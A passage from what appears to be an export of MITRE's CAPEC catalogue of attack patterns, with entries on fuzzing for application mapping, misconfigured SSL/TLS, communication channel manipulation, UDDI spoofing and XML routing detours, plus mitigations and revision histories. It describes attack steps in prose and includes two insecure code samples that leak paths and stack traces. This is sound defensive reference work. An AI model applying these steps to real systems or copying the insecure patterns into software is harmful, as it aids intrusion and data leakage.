Modification_11159 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Description Summary, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification11165 + Modification_11165 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, Description Summary, Solutions_and_Mitigations + + + + + + + + + + + + #indModificationModification11171 + Modification_11171 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attacker_Skills_or_Knowledge_Required + + + + + + + + + + + + #indModificationModification11177 + Modification_11177 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification11183 + Modification_11183 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-213 + DEPRECATED: Directory Traversal + + + + + + + + + 213 + + + + + DEPRECATED: Directory Traversal + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as it is a duplicate of the existing attack pattern "CAPEC-126 : Path Traversal". Please refer to this other CAPEC going forward.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory11194 + Content_History_11194 + + + + + + + + + + + + + + + + #indSubmissionSubmission11195 + Submission_11195 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification11200 + Modification_11200 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification11206 + Modification_11206 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification11212 + Modification_11212 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, Description Summary, Related_Attack_Patterns, Related_Vulnerabilities, Related_Weaknesses, Resources_Required, Solutions_and_Mitigations + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName11218 + Previous_Entry_Name_11218 + + + + + + + + + 2017-01-09 + + + + + Directory Traversal + + + + + + + + + + + + #CAPEC-214 + DEPRECATED: Fuzzing for garnering J2EE/.NET-based stack traces, for application mapping + + + + + + + + + 214 + + + + + DEPRECATED: Fuzzing for garnering J2EE/.NET-based stack traces, for application mapping + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as it was merged into "CAPEC-215 : Fuzzing for application mapping". Please refer to this other CAPEC going forward.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory11226 + Content_History_11226 + + + + + + + + + + + + + + + + #indSubmissionSubmission11227 + Submission_11227 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification11232 + Modification_11232 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, @Status, Description, Prerequisites, Related_Attack_Patterns, Related_Weaknesses, Resources_Required, Typical_Severity + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName11238 + Previous_Entry_Name_11238 + + + + + + + + + 2020-12-17 + + + + + Fuzzing for garnering J2EE/.NET-based stack traces, for application mapping + + + + + + + + + + + + #CAPEC-215 + Fuzzing for application mapping + + + + + + + + + 215 + + + + + Fuzzing for application mapping + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker sends random, malformed, or otherwise unexpected messages to a target application and observes the application's log or error messages returned. The attacker does not initially know how a target will respond to individual messages but by attempting a large number of message variants they may find a variant that trigger's desired behavior. In this attack, the purpose of the fuzzing is to observe the application's log and error messages, although fuzzing a target can also sometimes cause the target to enter an unstable state, causing a crash.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;By observing logs and error messages, the attacker can learn details about the configuration of the target application and might be able to cause the target to disclose sensitive information. In applications that return a stack trace along with the error, this can enumerate the chain of methods that led up to the point where the error was encountered. This can not only reveal the names of the methods (some of which may have known weaknesses) but possibly also the location of class files and libraries as well as parameter values. In some cases, the stack trace might even disclose sensitive configuration or user information.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern11250 + Related_Attack_Pattern_11250 + + + + + + + + + + + + + + 54 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern11251 + Related_Attack_Pattern_11251 + + + + + + + + + + + + + + 28 + + + + + + + + + + + + #indAttackStepAttackStep11254 + Attack_Step_11254 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Observe communication and inputs] The fuzzing adversary observes the target system looking for inputs and communications between modules, subsystems, or systems.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Network sniffing. Using a network sniffer such as wireshark, the adversary observes communications into and out of the target system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Monitor API execution. Using a tool such as ktrace, strace, APISpy, or another debugging tool, the adversary observes the system calls and API calls that are made by the target system, and the nature of their parameters.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Observe inputs using web inspection tools (OWASP's WebScarab, Paros, TamperData, TamperIE, etc.)</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep11262 + Attack_Step_11262 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Generate fuzzed inputs] Given a fuzzing tool, a target input or protocol, and limits on time, complexity, and input variety, generate a list of inputs to try. Although fuzzing is random, it is not exhaustive. Parameters like length, composition, and how many variations to try are important to get the most cost-effective impact from the fuzzer.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Boundary cases. Generate fuzz inputs that attack boundary cases of protocol fields, inputs, or other communications limits. Examples include 0xff and 0x00 for single-byte inputs. In binary situations, approach each bit of an individual field with on and off (e.g., 0x80).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attempt arguments to system calls or APIs. The variations include payloads that, if they were successful, could lead to a compromise on the system.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep11269 + Attack_Step_11269 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Observe the outcome] Observe the outputs to the inputs fed into the system by fuzzers and see if there are any log or error messages that might provide information to map the application</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep11274 + Attack_Step_11274 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Craft exploit payloads] An adversary usually needs to modify the fuzzing parameters according to the observed error messages to get the desired sensitive information for the application. To defeat correlation, the adversary may try changing the origin IP addresses or client browser identification strings or start a new session from where they left off in obfuscating the attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Modify the parameters in the fuzzing tool according to the observed error messages. Repeat with enough parameters until the application has been sufficiently mapped.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If the application rejects the large amount of fuzzing messages from the same host machine, the adversary needs to hide the attacks by changing the IP addresses or other credentials.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target application must fail to sanitize incoming messages adequately before processing.</xhtml:div> + + + + + + + + + + + + #indSkillSkill11286 + Skill_11286 + + + + + + + + + + + + + + Although fuzzing parameters is not difficult, and often possible with automated fuzzing tools, interpreting the error conditions and modifying the parameters so as to move further in the process of mapping the application requires detailed knowledge of target platform, the languages and packages used as well as software design. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Fuzzing tools, which automatically generate and send message variants, are necessary for this attack. The attacker must have sufficient access to send messages to the target. The attacker must also have the ability to observe the target application's log and/or error messages in order to collect information about the target.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence11292 + Consequence_11292 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Information Leakage</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Construct a 'code book' for error messages. When using a code book, application error messages aren't generated in string or stack trace form, but are catalogued and replaced with a unique (often integer-based) value 'coding' for the error. Such a technique will require helpdesk and hosting personnel to use a 'code book' or similar mapping to decode application errors/logs in order to respond to them normally.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: wrap application functionality (preferably through the underlying framework) in an output encoding scheme that obscures or cleanses error messages to prevent such attacks. Such a technique is often used in conjunction with the above 'code book' suggestion.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Obfuscate server fields of HTTP response.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Hide inner ordering of HTTP response header.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Customizing HTTP error codes such as 404 or 500.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Hide HTTP response header software information filed.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Hide cookie's software information filed.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Obfuscate database type in Database API's error message.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The following code generates an error message that leaks the full pathname of the configuration file.&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="bad"&gt;$ConfigDir = "/home/myprog/config";&lt;xhtml:br&gt;&lt;/xhtml:br&gt;$uname = GetUserInput("username");&lt;xhtml:br&gt;&lt;/xhtml:br&gt;ExitError("Bad hacker!") if ($uname !~ /^\\w+$/);&lt;xhtml:br&gt;&lt;/xhtml:br&gt;$file = "$ConfigDir/$uname.txt";&lt;xhtml:br&gt;&lt;/xhtml:br&gt;if (! (-e $file)) { ExitError("Error: $file does not exist"); }&lt;xhtml:br&gt;&lt;/xhtml:br&gt;...&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;If this code is running on a server, such as a web application, then the person making the request should not know what the full pathname of the configuration directory is. By submitting a username that does not produce a $file that exists, an attacker could get this pathname. It could then be used to exploit path traversal or symbolic link following problems that may exist elsewhere in the application.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In languages that utilize stack traces, revealing them can give adversaries information that allows them to map functions and file locations for an application. The following Java method prints out a stack trace that exposes the application to this attack pattern.&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="bad"&gt;public void httpGet(HttpServletRequest request, HttpServletResponse response) {&lt;xhtml:div style="margin-left:1em;"&gt;try {&lt;xhtml:div style="margin-left:1em;"&gt;processRequest();&lt;/xhtml:div&gt;} catch (Exception ex) {&lt;xhtml:div style="margin-left:1em;"&gt;ex.printStackTrace(response.getWriter());&lt;/xhtml:div&gt; + &lt;xhtml:div style="margin-left:1em;"&gt;return;&lt;/xhtml:div&gt;}&lt;/xhtml:div&gt;}&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;If this code is running on a server, such as a web application, then the adversary could cause the exception to be printed through fuzzing.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 209 + + + + + 532 + + + + + + + + + + + + #indContentHistoryContentHistory11325 + Content_History_11325 + + + + + + + + + + + + + + + + #indSubmissionSubmission11326 + Submission_11326 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification11331 + Modification_11331 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification11337 + Modification_11337 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification11343 + Modification_11343 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, Description, Example_Instances, Execution_Flow, Related_Attack_Patterns, Related_Weaknesses + + + + + + + + + + + + #indModificationModification11349 + Modification_11349 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification11355 + Modification_11355 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification11361 + Modification_11361 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #indModificationModification11367 + Modification_11367 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName11373 + Previous_Entry_Name_11373 + + + + + + + + + 2020-12-17 + + + + + Fuzzing and observing application log data/errors for application mapping + + + + + + + + + + + + #CAPEC-216 + Communication Channel Manipulation + + + + + + + + + 216 + + + + + Communication Channel Manipulation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern11380 + Related_Attack_Pattern_11380 + + + + + + + + + + + + + + 94 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target application must leverage an open communications channel.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The channel on which the target communicates must be vulnerable to interception (e.g., adversary in the middle attack - CAPEC-94).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A tool that is capable of viewing network traffic and generating custom inputs to be used in the attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence11390 + Consequence_11390 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary's injection of additional content into a communication channel negatively impacts the integrity of that channel.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence11397 + Consequence_11397 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A successful Communication Channel Manipulation attack can result in sensitive information exposure to the adversary, thereby compromising the communication channel's confidentiality.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Encrypt all sensitive communications using properly-configured cryptography.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design the communication system such that it associates proper authentication/authorization with each channel/message.</xhtml:div> + + + + + 306 + + + + + + + + + + + + #indContentHistoryContentHistory11410 + Content_History_11410 + + + + + + + + + + + + + + + + #indSubmissionSubmission11411 + Submission_11411 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification11416 + Modification_11416 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Attack_Prerequisites, Description Summary, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification11422 + Modification_11422 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, Resources_Required, Solutions_and_Mitigations + + + + + + + + + + + + #indModificationModification11428 + Modification_11428 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Prerequisites + + + + + + + + + + + + #indModificationModification11434 + Modification_11434 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Related_Attack_Patterns, Related_Weaknesses + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName11440 + Previous_Entry_Name_11440 + + + + + + + + + 2015-12-07 + + + + + Abuse of Communication Channels + + + + + + + + + + + + #CAPEC-217 + Exploiting Incorrectly Configured SSL/TLS + + + + + + + + + 217 + + + + + Exploiting Incorrectly Configured SSL/TLS + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary takes advantage of incorrectly configured SSL/TLS communications that enables access to data intended to be encrypted. The adversary may also use this type of attack to inject commands or other traffic into the encrypted stream to cause compromise of either the client or server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">SSL/TLS communications become vulnerable to this attack when they use outdated versions and insecure ciphers. Currently, all SSL versions are deprecated and TLS versions 1.0 and 1.1 are also deprecated due to being insecure. It is still possible for later versions of TLS to be insecure if they are configured with insecure ciphers such as 3DES or RC4.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern11450 + Related_Attack_Pattern_11450 + + + + + + + + + + + + + + 216 + + + + + + + + + + + + #indAttackStepAttackStep11453 + Attack_Step_11453 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine SSL/TLS Configuration] Determine the SSL/TLS configuration of either the server or client being targeted, preferably both. This is not a hard requirement, as the adversary can simply assume commonly exploitable configuration settings and indiscriminately attempt them.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If the target is a webpage, some of the SSL/TLS configuration can be viewed through the browser's security information, such as the key sizes and cipher being used.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep11459 + Attack_Step_11459 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Intercept Communication] Provide controlled access to the server by the client, by either providing a link for the client to click on, or by positioning one's self at a place on the network to intercept and control the flow of data between client and server, e.g. AiTM (adversary in the middle - CAPEC-94).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create a malicious webpage that looks identical to the target webpage, but routes client traffic to the server such that the adversary can observe the traffic and perform an adverary in the middle attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If the adversary has access to the network that either the client or server is on, the can attempt to use a packet sniffer to perform an adversary in the middle attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Install a packet sniffer through malware directly to a client device that can intercept SSL/TLS traffic and perform an adversary in the middle attack.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep11467 + Attack_Step_11467 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Capture or Manipulate Sensitive Data] Once the adversary has the ability to intercept the secure communication, they exploit the incorrectly configured SSL to view the encrypted communication. The adversary can choose to just record the secure communication or manipulate the data to achieve a desired effect.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use known exploits for old SSL and TLS versions.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use known exploits for weak ciphers such as DES and RC4.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Access to the client/server stream.</xhtml:div> + + + + + + + + + + + + #indSkillSkill11479 + Skill_11479 + + + + + + + + + + + + + + The adversary needs real-time access to network traffic in such a manner that the adversary can grab needed information from the SSL stream, possibly influence the decided-upon encryption method and options, and perform automated analysis to decipher encrypted material recovered. Tools exist to automate part of the tasks, but to successfully use these tools in an attack scenario requires detailed understanding of the underlying principles. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary needs the ability to sniff traffic, and optionally be able to route said traffic to a system where the sniffing of traffic can take place, and act upon the recovered traffic in real time.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence11485 + Consequence_11485 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence11489 + Consequence_11489 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Do not use SSL, as all SSL versions have been broken and should not be used. If TLS is not an option for the client or server, consider setting timeouts on SSL sessions to extremely low values to lessen the potential impact.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Only use TLS version 1.2+, as versions 1.0 and 1.1 are insecure.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configure TLS to use secure algorithms. The current recommendation is to use ECDH, ECDSA, AES256-GCM, and SHA384 for the most security.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Using MITM techniques, an adversary launches a blockwise chosen-boundary attack to obtain plaintext HTTP headers by taking advantage of an SSL session using an encryption protocol in CBC mode with chained initialization vectors (IV). This allows the adversary to recover session IDs, authentication cookies, and possibly other valuable data that can be used for further exploitation. Additionally this could allow for the insertion of data into the stream, allowing for additional attacks (CSRF, SQL inject, etc) to occur.</xhtml:div> + + + + + 201 + + + + + + + + + + + + #indContentHistoryContentHistory11507 + Content_History_11507 + + + + + + + + + + + + + + + + #indSubmissionSubmission11508 + Submission_11508 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification11513 + Modification_11513 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Description Summary + + + + + + + + + + + + #indModificationModification11519 + Modification_11519 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification11525 + Modification_11525 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated @Name, Description, Example_Instances, Execution_Flow, Extended_Description, Mitigations, Resources_Required, Skills_Required + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName11531 + Previous_Entry_Name_11531 + + + + + + + + + 2015-12-07 + + + + + Exploiting Incorrectly Configured SSL Security Levels + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName11532 + Previous_Entry_Name_11532 + + + + + + + + + 2022-02-22 + + + + + Exploiting Incorrectly Configured SSL + + + + + + + + + + + + #CAPEC-218 + Spoofing of UDDI/ebXML Messages + + + + + + + + + 218 + + + + + Spoofing of UDDI/ebXML Messages + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker spoofs a UDDI, ebXML, or similar message in order to impersonate a service provider in an e-business transaction. UDDI, ebXML, and similar standards are used to identify businesses in e-business transactions. Among other things, they identify a particular participant, WSDL information for SOAP transactions, and supported communication protocols, including security protocols. By spoofing one of these messages an attacker could impersonate a legitimate business in a transaction or could manipulate the protocols used between a client and business. This could result in disclosure of sensitive information, loss of message integrity, or even financial fraud.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern11540 + Related_Attack_Pattern_11540 + + + + + + + + + + + + + + 148 + + + + + 512 + + + + + 515 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted business's UDDI or ebXML information must be served from a location that the attacker can spoof or compromise or the attacker must be able to intercept and modify unsecured UDDI/ebXML messages in transit.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker must be able to force the target user to accept their spoofed UDDI or ebXML message as opposed to the a message associated with a legitimate company. Depending on the follow-on for the attack, the attacker may also need to serve its own web services.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Clients should only trust UDDI, ebXML, or similar messages that are verifiably signed by a trusted party.</xhtml:div> + + + + + 345 + + + + + + + + + + + + #indContentHistoryContentHistory11557 + Content_History_11557 + + + + + + + + + + + + + + + + #indSubmissionSubmission11558 + Submission_11558 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification11563 + Modification_11563 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-219 + XML Routing Detour Attacks + + + + + + + + + 219 + + + + + XML Routing Detour Attacks + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker subverts an intermediate system used to process XML content and forces the intermediate to modify and/or re-route the processing of the content. XML Routing Detour Attacks are Adversary in the Middle type attacks (CAPEC-94). The attacker compromises or inserts an intermediate system in the processing of the XML message. For example, WS-Routing can be used to specify a series of nodes or intermediaries through which content is passed. If any of the intermediate nodes in this route are compromised by an attacker they could be used for a routing detour attack. From the compromised system the attacker is able to route the XML process to other nodes of their choice and modify the responses so that the normal chain of processing is unaware of the interception. This system can forward the message to an outside entity and hide the forwarding and processing from the legitimate processing systems by altering the header information.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern11577 + Related_Attack_Pattern_11577 + + + + + + + + + + + + + + 94 + + + + + + + + + + + + #indAttackStepAttackStep11580 + Attack_Step_11580 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the target] Using command line or an automated tool, an attacker records all instances of web services to process XML requests.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use automated tool to record all instances to process XML requests or find exposed WSDL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use tools to crawl WSDL</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep11587 + Attack_Step_11587 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify SOAP messages that have multiple state processing.] Inspect instance to see whether the XML processing has multiple stages or not.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Inspect the SOAP message routing head to see whether the XML processing has multiple stages or not.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep11593 + Attack_Step_11593 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Launch an XML routing detour attack] The attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header of the SOAP message identified in the Explore phase. Thus, the attacker can route the XML message to the attacker controlled node (and access the message contents).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header of the SOAP message</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted system must have multiple stages processing of XML content.</xhtml:div> + + + + + + + + + + + + #indSkillSkill11604 + Skill_11604 + + + + + + + + + + + + + + To inject a bogus node in the XML routing table + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker must be able to insert or compromise a system into the processing path for the transaction.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence11610 + Consequence_11610 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence11614 + Consequence_11614 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence11618 + 